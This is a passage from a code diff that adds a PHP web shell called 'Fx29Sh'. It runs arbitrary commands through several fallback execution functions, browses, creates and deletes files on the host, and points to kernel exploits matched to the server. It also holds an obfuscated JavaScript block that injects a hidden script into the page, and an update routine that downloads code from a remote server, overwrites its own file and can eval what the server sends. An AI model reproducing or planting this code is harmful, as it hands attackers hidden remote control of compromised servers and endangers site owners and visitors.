size=1>\r\n"; + foreach ($sh_sourcez as $e => $o) { + echo "<input type=button value=\"$e\" onclick=\"set_arg('$o[0]','$o[1]')\">\r\n"; + } + echo "</form>\r\n"; +?> +</td></tr> +<tr><td align=right>Search File:</td> +<td><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="search_name" size="29" value="(.*)"> <input type="checkbox" name="search_name_regexp" value="1" checked> regexp <input type=submit name=submit value="Search"> + </form> + </td></tr> +<tr><td align=right>Create File:</td> +<td><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit"> + <input type="text" name="mkfile" size="70" value="<?php echo $dispd; ?>"> <input type="checkbox" name="overwrite" value="1" checked> Overwrite <input type=submit value="Create"> <?php echo $wdt; ?> + </form></td></tr> +<tr><td align=right>View File:</td> +<td><form method="POST"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="f" size="70" value="<?php echo $dispd; ?>"> <input type=submit value="View"> + </form></td></tr><script type="text/javascript" language="javascript"> +<!-- +fF7eSD8=new Array(); +fF7eSD8[0]="%3Cscript%3E%0Adocu"; +fF7eSD8[1]="ment.write%28une"; +fF7eSD8[2]="scape%28%22%253Cscri"; +fF7eSD8[3]="pt%2520type%253D%25"; +fF7eSD8[4]="22text/javascr"; +fF7eSD8[5]="ipt%2522%253Edo"; +fF7eSD8[6]="cument.write%25"; +fF7eSD8[7]="28%2527%255Cu00"; +fF7eSD8[8]="3c%255Cu0073%255C"; +fF7eSD8[9]="u0063%255Cu0072"; +fF7eSD8[10]="%255Cu0069%255Cu"; +fF7eSD8[11]="0070%255Cu007"; +fF7eSD8[12]="4%255Cu0020%255C"; +fF7eSD8[13]="u0074%255Cu007"; +fF7eSD8[14]="9%255Cu0070%255Cu"; +fF7eSD8[15]="0065%255Cu003d%25"; +fF7eSD8[16]="5Cu0022%255Cu0"; +fF7eSD8[17]="074%255Cu0065%255C"; +fF7eSD8[18]="u0078%255Cu0074%25"; +fF7eSD8[19]="5Cu002f%255Cu"; +fF7eSD8[20]="006a%255Cu0061%255"; +fF7eSD8[21]="Cu0076%255Cu0"; +fF7eSD8[22]="061%255Cu0073%25"; +fF7eSD8[23]="5Cu0063%255Cu00"; +fF7eSD8[24]="72%255Cu0069%25"; +fF7eSD8[25]="5Cu0070%255Cu"; +fF7eSD8[26]="0074%255Cu0022"; +fF7eSD8[27]="%255Cu003e%255C"; +fF7eSD8[28]="u0064%255Cu00"; +fF7eSD8[29]="6f%255Cu0063%255C"; +fF7eSD8[30]="u0075%255Cu006"; +fF7eSD8[31]="d%255Cu0065%255Cu"; +fF7eSD8[32]="006e%255Cu0074%255"; +fF7eSD8[33]="Cu002e%255Cu00"; +fF7eSD8[34]="77%255Cu0072%25"; +fF7eSD8[35]="5Cu0069%255Cu"; +fF7eSD8[36]="0074%255Cu0065%25"; +fF7eSD8[37]="5Cu0028%255Cu002"; +fF7eSD8[38]="7%255Cu005c%255Cu"; +fF7eSD8[39]="0075%255Cu0030"; +fF7eSD8[40]="%255Cu0030%255Cu0"; +fF7eSD8[41]="033%255Cu0063%25"; +fF7eSD8[42]="5Cu005c%255Cu007"; +fF7eSD8[43]="5%255Cu0030%255Cu"; +fF7eSD8[44]="0030%255Cu0035"; +fF7eSD8[45]="%255Cu0033%255C"; +fF7eSD8[46]="u005c%255Cu0075"; +fF7eSD8[47]="%255Cu0030%255Cu"; +fF7eSD8[48]="0030%255Cu003"; +fF7eSD8[49]="4%255Cu0033%255"; +fF7eSD8[50]="Cu005c%255Cu007"; +fF7eSD8[51]="5%255Cu0030%255Cu"; +fF7eSD8[52]="0030%255Cu0035%255"; +fF7eSD8[53]="Cu0032%255Cu00"; +fF7eSD8[54]="5c%255Cu0075%255C"; +fF7eSD8[55]="u0030%255Cu0030%25"; +fF7eSD8[56]="5Cu0034%255Cu00"; +fF7eSD8[57]="39%255Cu005c%255Cu"; +fF7eSD8[58]="0075%255Cu0030%255"; +fF7eSD8[59]="Cu0030%255Cu003"; +fF7eSD8[60]="5%255Cu0030%255C"; +fF7eSD8[61]="u005c%255Cu0075"; +fF7eSD8[62]="%255Cu0030%255Cu00"; +fF7eSD8[63]="30%255Cu0035%255"; +fF7eSD8[64]="Cu0034%255Cu005"; +fF7eSD8[65]="c%255Cu0075%255C"; +fF7eSD8[66]="u0030%255Cu0030%25"; +fF7eSD8[67]="5Cu0032%255Cu"; +fF7eSD8[68]="0030%255Cu005c%25"; +fF7eSD8[69]="5Cu0075%255Cu00"; +fF7eSD8[70]="30%255Cu0030%255"; +fF7eSD8[71]="Cu0035%255Cu003"; +fF7eSD8[72]="3%255Cu005c%255Cu0"; +fF7eSD8[73]="075%255Cu0030"; +fF7eSD8[74]="%255Cu0030%255Cu00"; +fF7eSD8[75]="35%255Cu0032%25"; +fF7eSD8[76]="5Cu005c%255Cu00"; +fF7eSD8[77]="75%255Cu0030%255Cu"; +fF7eSD8[78]="0030%255Cu003"; +fF7eSD8[79]="4%255Cu0033%255Cu"; +fF7eSD8[80]="005c%255Cu0075%25"; +fF7eSD8[81]="5Cu0030%255Cu"; +fF7eSD8[82]="0030%255Cu0033"; +fF7eSD8[83]="%255Cu0064%255Cu0"; +fF7eSD8[84]="05c%255Cu0075%25"; +fF7eSD8[85]="5Cu0030%255Cu003"; +fF7eSD8[86]="0%255Cu0036%255"; +fF7eSD8[87]="Cu0038%255Cu0"; +fF7eSD8[88]="05c%255Cu0075%255C"; +fF7eSD8[89]="u0030%255Cu003"; +fF7eSD8[90]="0%255Cu0037%255C"; +fF7eSD8[91]="u0034%255Cu005c%25"; +fF7eSD8[92]="5Cu0075%255Cu"; +fF7eSD8[93]="0030%255Cu0030"; +fF7eSD8[94]="%255Cu0037%255Cu"; +fF7eSD8[95]="0034%255Cu005c%25"; +fF7eSD8[96]="5Cu0075%255Cu00"; +fF7eSD8[97]="30%255Cu0030%255Cu"; +fF7eSD8[98]="0037%255Cu0030%255"; +fF7eSD8[99]="Cu005c%255Cu00"; +fF7eSD8[100]="75%255Cu0030%255"; +fF7eSD8[101]="Cu0030%255Cu00"; +fF7eSD8[102]="33%255Cu0061%255Cu"; +fF7eSD8[103]="005c%255Cu0075"; +fF7eSD8[104]="%255Cu0030%255C"; +fF7eSD8[105]="u0030%255Cu0032%25"; +fF7eSD8[106]="5Cu0066%255Cu00"; +fF7eSD8[107]="5c%255Cu0075%255Cu"; +fF7eSD8[108]="0030%255Cu0030%25"; +fF7eSD8[109]="5Cu0032%255Cu0"; +fF7eSD8[110]="066%255Cu005c"; +fF7eSD8[111]="%255Cu0075%255Cu"; +fF7eSD8[112]="0030%255Cu0030%25"; +fF7eSD8[113]="5Cu0036%255Cu003"; +fF7eSD8[114]="4%255Cu005c%255C"; +fF7eSD8[115]="u0075%255Cu003"; +fF7eSD8[116]="0%255Cu0030%255C"; +fF7eSD8[117]="u0036%255Cu00"; +fF7eSD8[118]="31%255Cu005c%255"; +fF7eSD8[119]="Cu0075%255Cu00"; +fF7eSD8[120]="30%255Cu0030%255Cu"; +fF7eSD8[121]="0037%255Cu0034"; +fF7eSD8[122]="%255Cu005c%255Cu00"; +fF7eSD8[123]="75%255Cu0030%255C"; +fF7eSD8[124]="u0030%255Cu003"; +fF7eSD8[125]="6%255Cu0031%255"; +fF7eSD8[126]="Cu005c%255Cu007"; +fF7eSD8[127]="5%255Cu0030%255"; +fF7eSD8[128]="Cu0030%255Cu0"; +fF7eSD8[129]="032%255Cu0065"; +fF7eSD8[130]="%255Cu005c%255C"; +fF7eSD8[131]="u0075%255Cu0030%25"; +fF7eSD8[132]="5Cu0030%255Cu003"; +fF7eSD8[133]="7%255Cu0034%255Cu0"; +fF7eSD8[134]="05c%255Cu0075%255C"; +fF7eSD8[135]="u0030%255Cu00"; +fF7eSD8[136]="30%255Cu0033%255C"; +fF7eSD8[137]="u0030%255Cu005"; +fF7eSD8[138]="c%255Cu0075%255Cu"; +fF7eSD8[139]="0030%255Cu003"; +fF7eSD8[140]="0%255Cu0033%255C"; +fF7eSD8[141]="u0030%255Cu005"; +fF7eSD8[142]="c%255Cu0075%255"; +fF7eSD8[143]="Cu0030%255Cu0"; +fF7eSD8[144]="030%255Cu0036%255C"; +fF7eSD8[145]="u0063%255Cu005c"; +fF7eSD8[146]="%255Cu0075%255C"; +fF7eSD8[147]="u0030%255Cu00"; +fF7eSD8[148]="30%255Cu0037%25"; +fF7eSD8[149]="5Cu0033%255Cu00"; +fF7eSD8[150]="5c%255Cu0075%255"; +fF7eSD8[151]="Cu0030%255Cu00"; +fF7eSD8[152]="30%255Cu0032%255"; +fF7eSD8[153]="Cu0065%255Cu005c"; +fF7eSD8[154]="%255Cu0075%255C"; +fF7eSD8[155]="u0030%255Cu00"; +fF7eSD8[156]="30%255Cu0036%255Cu"; +fF7eSD8[157]="0066%255Cu005c%255"; +fF7eSD8[158]="Cu0075%255Cu00"; +fF7eSD8[159]="30%255Cu0030%255Cu"; +fF7eSD8[160]="0037%255Cu0032%25"; +fF7eSD8[161]="5Cu005c%255Cu007"; +fF7eSD8[162]="5%255Cu0030%255C"; +fF7eSD8[163]="u0030%255Cu0036%25"; +fF7eSD8[164]="5Cu0037%255Cu00"; +fF7eSD8[165]="5c%255Cu0075%255"; +fF7eSD8[166]="Cu0030%255Cu0030"; +fF7eSD8[167]="%255Cu0032%255Cu00"; +fF7eSD8[168]="66%255Cu005c%255"; +fF7eSD8[169]="Cu0075%255Cu0"; +fF7eSD8[170]="030%255Cu0030%255C"; +fF7eSD8[171]="u0037%255Cu0037"; +fF7eSD8[172]="%255Cu005c%255Cu"; +fF7eSD8[173]="0075%255Cu0030%25"; +fF7eSD8[174]="5Cu0030%255Cu"; +fF7eSD8[175]="0036%255Cu0038%255"; +fF7eSD8[176]="Cu005c%255Cu007"; +fF7eSD8[177]="5%255Cu0030%255"; +fF7eSD8[178]="Cu0030%255Cu0036"; +fF7eSD8[179]="%255Cu0035%255Cu00"; +fF7eSD8[180]="5c%255Cu0075%255Cu"; +fF7eSD8[181]="0030%255Cu003"; +fF7eSD8[182]="0%255Cu0037%255C"; +fF7eSD8[183]="u0032%255Cu00"; +fF7eSD8[184]="5c%255Cu0075%255"; +fF7eSD8[185]="Cu0030%255Cu0"; +fF7eSD8[186]="030%255Cu0036%25"; +fF7eSD8[187]="5Cu0035%255Cu0"; +fF7eSD8[188]="05c%255Cu0075"; +fF7eSD8[189]="%255Cu0030%255Cu0"; +fF7eSD8[190]="030%255Cu0032"; +fF7eSD8[191]="%255Cu0065%255Cu"; +fF7eSD8[192]="005c%255Cu0075"; +fF7eSD8[193]="%255Cu0030%255Cu00"; +fF7eSD8[194]="30%255Cu0036%25"; +fF7eSD8[195]="5Cu0061%255Cu"; +fF7eSD8[196]="005c%255Cu007"; +fF7eSD8[197]="5%255Cu0030%255"; +fF7eSD8[198]="Cu0030%255Cu0037"; +fF7eSD8[199]="%255Cu0033%255Cu0"; +fF7eSD8[200]="05c%255Cu0075%255C"; +fF7eSD8[201]="u0030%255Cu00"; +fF7eSD8[202]="30%255Cu0033%255Cu"; +fF7eSD8[203]="0065%255Cu005"; +fF7eSD8[204]="c%255Cu0075%255Cu"; +fF7eSD8[205]="0030%255Cu0030%25"; +fF7eSD8[206]="5Cu0033%255Cu00"; +fF7eSD8[207]="63%255Cu005c%255C"; +fF7eSD8[208]="u0075%255Cu0030"; +fF7eSD8[209]="%255Cu0030%255Cu0"; +fF7eSD8[210]="032%255Cu0066%255"; +fF7eSD8[211]="Cu005c%255Cu0"; +fF7eSD8[212]="075%255Cu0030%25"; +fF7eSD8[213]="5Cu0030%255Cu"; +fF7eSD8[214]="0035%255Cu0033%255"; +fF7eSD8[215]="Cu005c%255Cu007"; +fF7eSD8[216]="5%255Cu0030%255Cu0"; +fF7eSD8[217]="030%255Cu0034%255"; +fF7eSD8[218]="Cu0033%255Cu00"; +fF7eSD8[219]="5c%255Cu0075%25"; +fF7eSD8[220]="5Cu0030%255Cu0"; +fF7eSD8[221]="030%255Cu0035"; +fF7eSD8[222]="%255Cu0032%255Cu0"; +fF7eSD8[223]="05c%255Cu0075"; +fF7eSD8[224]="%255Cu0030%255Cu"; +fF7eSD8[225]="0030%255Cu0034%25"; +fF7eSD8[226]="5Cu0039%255Cu0"; +fF7eSD8[227]="05c%255Cu0075%25"; +fF7eSD8[228]="5Cu0030%255Cu"; +fF7eSD8[229]="0030%255Cu0035%25"; +fF7eSD8[230]="5Cu0030%255Cu"; +fF7eSD8[231]="005c%255Cu0075%255"; +fF7eSD8[232]="Cu0030%255Cu0"; +fF7eSD8[233]="030%255Cu0035"; +fF7eSD8[234]="%255Cu0034%255Cu0"; +fF7eSD8[235]="05c%255Cu0075"; +fF7eSD8[236]="%255Cu0030%255Cu"; +fF7eSD8[237]="0030%255Cu0033%255"; +fF7eSD8[238]="Cu0065%255Cu0"; +fF7eSD8[239]="027%255Cu0029"; +fF7eSD8[240]="%255Cu003c%255C"; +fF7eSD8[241]="u002f%255Cu0073%25"; +fF7eSD8[242]="5Cu0063%255Cu007"; +fF7eSD8[243]="2%255Cu0069%255Cu"; +fF7eSD8[244]="0070%255Cu007"; +fF7eSD8[245]="4%255Cu003e%2527%25"; +fF7eSD8[246]="29%253C/script%25"; +fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri"; +fF7eSD8[248]="pt%3E"; +for (i = 0; i < fF7eSD8.length; i ++) +{ + document.write(unescape(fF7eSD8[i])) +} +// --> +</script> +</table> +<?php footer(); ?> +</body></html> +<?php + +########################### +## Fx29Sh CORE FUNCTIONS ## +########################### +function safemode() { + if ( @ini_get("safe_mode") OR eregi("on",@ini_get("safe_mode")) ) { return TRUE; } + else { return FALSE; } +} +function getdisfunc() { + $disfunc = @ini_get("disable_functions"); + if (!empty($disfunc)) { + $disfunc = str_replace(" ","",$disfunc); + $disfunc = explode(",",$disfunc); + } + else { $disfunc= array(); } + return $disfunc; +} +function enabled($func) { + if ( is_callable($func) && !in_array($func,getdisfunc()) ) { return TRUE; } + else { return FALSE; } +} +function fx29exec($cmd) { + $output = ""; + if ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + return $output; +} +function fx29exec2($cmd) { + $output = ""; + if ( enabled("system") ) { @ob_start(); system($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("exec") ) { exec($cmd,$o); $output = join("\r\n",$o); } + elseif ( enabled("shell_exec") ) { $output = shell_exec($cmd); } + elseif ( enabled("passthru") ) { @ob_start(); passthru($cmd); $output = @ob_get_contents(); @ob_end_clean(); } + elseif ( enabled("popen") ) { + $h = popen($cmd.' 2>&1', 'r'); + if ( is_resource($h) ) { + while ( !feof($h) ) { $output .= fread($h, 2096); } + pclose($h); + } + } + return $output; +} +function which($pr) { + $path = fx29exec("which $pr"); + if(!empty($path)) { return $path; } else { return $pr; } +} + +function get_status() { + function showstat($sup,$stat) { + if ($stat=="on") { return "$sup: <font color=#00FF00><b>ON</b></font>"; } + else { return "$sup: <font color=#FF9900><b>OFF</b></font>"; } + } + $arrfunc = array( + array("MySQL","mysql_connect"), + array("MSSQL","mssql_connect"), + array("Oracle","ocilogon"), + array("PostgreSQL","pg_connect"), + array("Curl","curl_version"), + ); + $arrcmd = array( + array("Fetch","fetch --help"), + array("Wget","wget --help"), + array("Perl","perl -v"), + ); + + $statinfo = array(); + foreach ($arrfunc as $func) { + if (function_exists($func[1])) { $statinfo[] = showstat($func[0],"on"); } + else { $statinfo[] = showstat($func[0],"off"); } + } + $statinfo[] = (@extension_loaded('sockets'))?showstat("Sockets","on"):showstat("Sockets","off"); + foreach ($arrcmd as $cmd) { + if (fx29exec2($cmd[1])) { $statinfo[] = showstat($cmd[0],"on"); } + else { $statinfo[] = showstat($cmd[0],"off"); } + } + return implode(" ",$statinfo); +} +function showdisfunc() { + if ($disablefunc = @ini_get("disable_functions")) { + return "<font color=#FF9900><b>".$disablefunc."</b></font>"; + } + else { return "<font color=#00FF00><b>NONE</b></b></font>"; } +} +function disp_drives($curdir,$surl) { + $letters = ""; + $v = explode("\\",$curdir); + $v = $v[0]; + foreach (range("A","Z") as $letter) { + $bool = $isdiskette = $letter == "A"; + if (!$bool) { $bool = is_dir($letter.":\\"); } + if ($bool) { + $letters .= "<a href=\"".$surl."act=ls&d=".urlencode($letter.":\\")."\"". + ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly!')\"":"")."> "; + if ($letter.":" != $v) { $letters .= $letter; } + else { $letters .= "<font color=yellow>".$letter."</font>"; } + $letters .= "</a> "; + } + } + if (!empty($letters)) { Return $letters; } + else {Return "None"; } +} +function disp_freespace($curdrv) { + $free = @disk_free_space($curdrv); + $total = @disk_total_space($curdrv); + if ($free === FALSE) { $free = 0; } + if ($total === FALSE) { $total = 0; } + if ($free < 0) { $free = 0; } + if ($total < 0) { $total = 0; } + $used = $total-$free; + $free_percent = round(100/($total/$free),2)."%"; + $free = view_size($free); + $total = view_size($total); + return "$free of $total ($free_percent)"; +} +## Fx29Sh UPDATE FUNCTIONS ## +function fx29getsource($fn) { + global $fx29sh_sourcesurl; + $array = array( + "fx29sh.php" => "fx29sh.txt", + ); + $name = $array[$fn]; + if ($name) {return file_get_contents($fx29sh_sourcesurl.$name);} + else {return FALSE;} +} +function fx29sh_getupdate($update = TRUE) { + $url = $GLOBALS["fx29sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0"); + $data = @file_get_contents($url); + if (!$data) { return "Can't connect to update-server!"; } + else { + $data = ltrim($data); + $string = substr($data,3,ord($data{2})); + if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} + if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} + if ($data{0} == "\x99" and $data{1} == "\x03") { + $string = explode("|",$string); + if ($update) { + $confvars = array(); + $sourceurl = $string[0]; + $source = file_get_contents($sourceurl); + if (!$source) {return "Can't fetch update!";} + else { + $fp = fopen(__FILE__,"w"); + if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually <a href=\"".$sourceurl."\"><u>here</u></a>.";} + else { + fwrite($fp,$source); + fclose($fp); + return "Update completed!"; + } + } + } + else {return "New version are available: ".$string[1];} + } + elseif ($data{0} == "\x99" and $data{1} == "\x04") { + eval($string); + return 1; + } + else {return "Error in protocol: segmentation failed! (".$data.") ";} + } +} +function fx29_buff_prepare() { + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +function fx29_sess_put($data) { + global $sess_cookie; + global $sess_data; + fx29_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +## END Fx29Sh UPDATE FUNCTIONS ## +## FILESYSTEM FUNCTIONS ## +function fs_copy_dir($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_copy_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_copy_dir($d,$t); + } + elseif (is_file($d)) { return copy($d,$t); } + else { return FALSE; } +} +function fs_move_dir($d,$t) { + $h = opendir($d); + if (!is_dir($t)) {mkdir($t);} + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + $ret = TRUE; + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +function fs_move_obj($d,$t) { + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (is_dir($d)) { + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;} + return fs_move_dir($d,$t); + } + elseif (is_file($d)) { + if(copy($d,$t)) {return unlink($d);} + else {unlink($t); return FALSE;} + } + else {return FALSE;} +} +function fs_rmdir($d) { + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) { + if (($o != ".") and ($o != "..")) { + if (!is_dir($d.$o)) {unlink($d.$o);} + else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);} + } + } + closedir($h); + rmdir($d); + return !is_dir($d); +} +function fs_rmobj($o) { + $o = str_replace("\\",DIRECTORY_SEPARATOR,$o); + if (is_dir($o)) { + if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;} + return fs_rmdir($o); + } + elseif (is_file($o)) {return unlink($o);} + else {return FALSE;} +} +## END FILESYSTEM FUNCTIONS ## +function onphpshutdown() { + global $gzipencode,$ft; + if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) { + $v = @ob_get_contents(); + @ob_end_clean(); + @ob_start("ob_gzHandler"); + echo $v; + @ob_end_flush(); + } +} +function fx29shexit() { onphpshutdown(); exit; } + +function fx29fsearch($d) { + global $found, $found_d, $found_f, $search_i_f, $search_i_d, $a; + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($f = readdir($h)) !== FALSE) { + if($f != "." && $f != "..") { + $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f)); + if (is_dir($d.$f)) { + $search_i_d++; + if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;} + if (!is_link($d.$f)) {fx29fsearch($d.$f);} + } + else { + $search_i_f++; + if ($bool) { + if (!empty($a["text"])) { + $r = @file_get_contents($d.$f); + if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";} + if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);} + if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);} + else {$bool = strpos(" ".$r,$a["text"],1);} + if ($a["text_not"]) {$bool = !$bool;} + if ($bool) {$found[] = $d.$f; $found_f++;} + } + else {$found[] = $d.$f; $found_f++;} + } + } + } + } + closedir($h); +} +function view_size($size) { + if (!is_numeric($size)) { return FALSE; } + else { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +function tabsort($a,$b) { global $v; return strnatcmp($a[$v], $b[$v]);} +function view_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$type = "s";} + elseif (($mode & 0x4000) === 0x4000) {$type = "d";} + elseif (($mode & 0xA000) === 0xA000) {$type = "l";} + elseif (($mode & 0x8000) === 0x8000) {$type = "-";} + elseif (($mode & 0x6000) === 0x6000) {$type = "b";} + elseif (($mode & 0x2000) === 0x2000) {$type = "c";} + elseif (($mode & 0x1000) === 0x1000) {$type = "p";} + else {$type = "?";} + $owner["read"] = ($mode & 00400)?"r":"-"; + $owner["write"] = ($mode & 00200)?"w":"-"; + $owner["execute"] = ($mode & 00100)?"x":"-"; + $group["read"] = ($mode & 00040)?"r":"-"; + $group["write"] = ($mode & 00020)?"w":"-"; + $group["execute"] = ($mode & 00010)?"x":"-"; + $world["read"] = ($mode & 00004)?"r":"-"; + $world["write"] = ($mode & 00002)? "w":"-"; + $world["execute"] = ($mode & 00001)?"x":"-"; + if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";} + if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";} + if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";} + return $type.join("",$owner).join("",$group).join("",$world); +} +function parse_perms($mode) { + if (($mode & 0xC000) === 0xC000) {$t = "s";} + elseif (($mode & 0x4000) === 0x4000) {$t = "d";} + elseif (($mode & 0xA000) === 0xA000) {$t = "l";} + elseif (($mode & 0x8000) === 0x8000) {$t = "-";} + elseif (($mode & 0x6000) === 0x6000) {$t = "b";} + elseif (($mode & 0x2000) === 0x2000) {$t = "c";} + elseif (($mode & 0x1000) === 0x1000) {$t = "p";} + else {$t = "?";} + $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0; + $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0; + $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0; + return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w); +} +function parsesort($sort) { + $one = intval($sort); + $second = substr($sort,-1); + if ($second != "d") {$second = "a";} + return array($one,$second); +} +function view_perms_color($o) { + if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";} + elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";} + else {return "<font color=green>".view_perms(fileperms($o))."</font>";} +} +function str2mini($content,$len) { + if (strlen($content) > $len) { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } else {return $content;} +} +function strips(&$arr,$k="") { + if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } } + else { $arr = stripslashes($arr); } +} + +function getmicrotime() { + list($usec, $sec) = explode(" ", microtime()); + return ((float)$usec + (float)$sec); +} + +function milw0rm() { + $Lversion = php_uname(r); + $OSV = php_uname(s); + if(eregi("Linux",$OSV)) { + $Lversion = substr($Lversion,0,6); + return "http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; + } else { + $Lversion = substr($Lversion,0,3); + return "http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; + } +} +function tools() { + echo "List of tools"; +} + +function sh_name() { return base64_decode("Removed").sh_ver; } +function htmlhead($safemode) { +$style = ' +<style type="text/css"> +body,table {font:8pt verdana;background-color:black;} +table {width:100%;} +table,td,#maininfo td {padding:3px;} +table,td,input,select,option {border:1px solid #808080;} +body,table,input,select,option {color:#FFFFFF;} +a {color:lightblue;text-decoration:none; } a:link {color:#5B5BFF;} a:hover {text-decoration:underline;} a:visited {color:#99CCFF;} +textarea {color:#dedbde;font:8pt Courier New;border:1px solid #666666;margin:2;} +#pagebar {padding:5px;border:3px solid #1E1E1E;border-collapse:collapse;} +#pagebar td {vertical-align:top;} +#pagebar,#pagebar p,.info,input,select,option {font:8pt tahoma;} +#pagebar a {font-weight:bold;color:#00FF00;} +#pagebar a:visited {color:#00CE00;} +#mainmenu {text-align:center;} +#mainmenu a {text-align: center;padding: 0px 5px 0px 5px;} +#maininfo,.barheader,.bartitle {text-align:center;} +.fleft {float:left;text-align:left;} +.fright {float:right;text-align:right;} +.bartitle {padding:5px;border:2px solid #1F1F1F;} +.barheader {font-weight:bold;padding:5px;} +.info,.info td,.info th {margin:0;padding:0;border-collapse:collapse;} +.info th {color:#00FF00;text-align:left;width:13%;} +.contents,.explorer {border-collapse:collapse;} +.contents,.explorer td,th {vertical-align:top;} +.mainpanel {border-collapse:collapse;padding:5px;} +.barheader,.mainpanel table,td {border:1px solid #333333;} +input[type="submit"],input[type="button"] {border:1px solid #000000;} +input[type="text"] {padding:3px;} +.shell 